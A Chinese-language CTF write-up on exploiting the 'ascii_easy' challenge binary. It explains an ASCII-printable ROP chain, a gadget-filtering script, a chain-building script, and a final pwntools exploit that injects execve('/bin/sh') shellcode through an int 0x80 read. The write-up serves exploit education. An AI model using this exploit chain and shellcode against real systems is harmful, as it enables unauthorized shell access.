兜兜转转,又回来这里刷题
这题讲真有点难度,虽然在实际比赛的时候比较少可能会出现这类题……..
很明显可以用rop,但是rop链只能全部为ascii可见字符…..这就有点难度了
这题其实我想了好几种办法,但是实际用了只有一种,不过在这里也说下
- 利用rop链将ebx的值改为libc中got表的地址,然后跳转到one gadget
这个本来感觉是最快捷的办法,但是将gadget过滤掉一部分之后,发现并不行,很难将ebx的值改掉,虽然有可能我的过滤条件设得太多,导致一部分可以用的gadget也过滤掉了 利用rop将shellcode写入map出来的libc的地址,然后跳转到该地址
这个方向理论上是可行的,但是有可能会导致rop链有点长
为什么可行呢?因为在gadget中存在着一个比较特别的gadget:
'\\d`U' 0x5560645C : mov dword ptr [edx], eax ; ret
而在gadget又存在着大量比较短,但是直接mov eax,xxx; ret; 或者 add eax,xxx; ret;的gadget
利用这些gadget,可以理论上将eax改为任何值,然后再写到edx所在的地址但是因为add eax,xxx;xxx的值一般比较小,要add多次,或者其实可以用mul之类的来加速,但是我嫌麻烦就没有找
利用rop 触发int 80; 调用read ,将shellcode写入int 80后的地址
最终用的是这个,因为比较短,比较好用,虽然过程中被一个带有\的gadget坑了换成另外一个…..
本来我是想直接找int 80,而且又在ascii可见字符范围内的,但是找不到……于是退而求其次,因为asm(” int 80h;”) = “\xcd\x80” 所以找到在ascii可见字符范围内的\xcd,在其后面写入一个0x80,然后将寄存器eax =3,ebx=0, ecx=addr edx=size ,跳到int 80这里,写入shellcode,get shell成功
说起来好像很轻松,但是实际上我写了好几个脚本来辅助找gadget和构建shellcode……
首先可以利用ROPgadgets 这个工具,获取libc 里的gadgets
然后我写了一个脚本来过滤不在ascii范围内的gadgets
import struct
f=open('./gadgets.txt','r')
gadgets=f.read().split('\n')
f.close()
base_addr=0x5555e000
regs=['ebx','eax','ecx','edx']
ban=['jne','jbe','jae','cmp']
def is_ascii(x):
for i in x:
if i<32 or i>127:
return False
return True
def in_regs(x):
for i in ban:
if i in x:
return False
for i in regs:
if i in x:
return True
return False
def filter_addr(gadgets):
gad=[]
for i in gadgets:
addr=int(i[:10],16)+base_addr
addr_p=struct.pack('<L',addr)
if is_ascii(addr_p) and in_regs(i) and i[-3:]=='ret':
gad.append(("%s 0x%08X"%(addr_p,addr))+i[10:])
return gad
f=open('./filter_gadgets','w')
gadgets=filter_addr(gadgets)
gadgets.sort(key=lambda x:len(x))
for i in gadgets:
f.write(i+'\n')
f.close()
得到gadgets之后,慢慢手动找gadgets,然后写了一个脚本,来实现eax的任意值,构建rop链也顺便写在这里了,这里将ebx置为0也花了一番心思,首先是发现有xor ebx,ebp,然后又发现一个gadgets是 pop ebx,pop ebp的,将两个结合起来就可以将ebx置为0了
import struct
eaxs={}
addeaxs={}
for i in range(256):
eaxs[i]=""
addeaxs[i]=""
eaxs[0]='? ]U'
eaxs[1]='RldURldU' #pop ebx
eaxs[2]='RldURldU6pjU'
eaxs[3]=' T`U'
eaxs[4]='0T`U'
eaxs[5]='@T`U'
eaxs[6]='PT`U'
eaxs[7]='`T`U'
eaxs[8]='VqjUVqjU' #pop edi
eaxs[0x20]='8zaU'
eaxs[0x7f]='\\"yaUaaaa' #pop ebx
eaxs[0xfa]='pyaU'
addeaxs[3]='5njU5njU' #pop edi
addeaxs[7]='[njU[njU' #pop edi
addeaxs[8]='0d_U'
addeaxs[0xc]="'rjU'rjU" #pop edi
addeaxs[0xd]=',rjU,rjU' #pop edi
addeaxs[0xe]='1rjU1rjU' #pop edi
def p32(x):
return str(struct.pack('<L',x))[2:-1]
int80_addr=p32(0x556b5a6d)
cd_addr=p32(0x556b5a6d+1)
shell_addr=p32(0x556b5a6d+2)
mov_ebx_0='-7jU-7jU-7jU-7jUK6cU'
def pop_ecx(x):
pop='Q*mU'+x
return pop
def pop_edx(x):
pop='U5_U'+x+'pedi'
return pop
#mov_dedx_eax='\\d`U'
mov_dedx_eax='Zd`U'
pls=[3,7,8,0xc,0xd,0xe]
for i in range(9,0xff):
for q in pls:
if i>=q:
if len(eaxs[i]) ==0 and eaxs[i-q]!="":
eaxs[i]=eaxs[i-q]+addeaxs[q]
elif len(eaxs[i]) !=0 and len(eaxs[i-q])+len(addeaxs[q]) <len(eaxs[i]):
eaxs[i]=eaxs[i-q]+addeaxs[q]
print(eaxs[0x80])
print(mov_dedx_eax)
shell='a'*32+pop_edx(cd_addr)+eaxs[0x80]+mov_dedx_eax+mov_ebx_0+pop_ecx(shell_addr)+pop_edx(shell_addr)+eaxs[3]+int80_addr
shell=shell.replace("\\","\\\\").replace("`","\\`").replace(" ","\\ ")
print(shell)
至于找0xcd那个脚本这里就不放出来了,自己写一个很容易的
然后最后放的是payload
from pwn import *
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaU5_UnZkUpedi8zaU0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_U0d_UZd\`U-7jU-7jU-7jU-7jUK6cUQ*mUoZkUU5_UoZkUpedi\ T\`UmZkU'
p=process('./ascii_easy '+payload, shell=True)
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
p.sendline(shellcode)
p.interactive()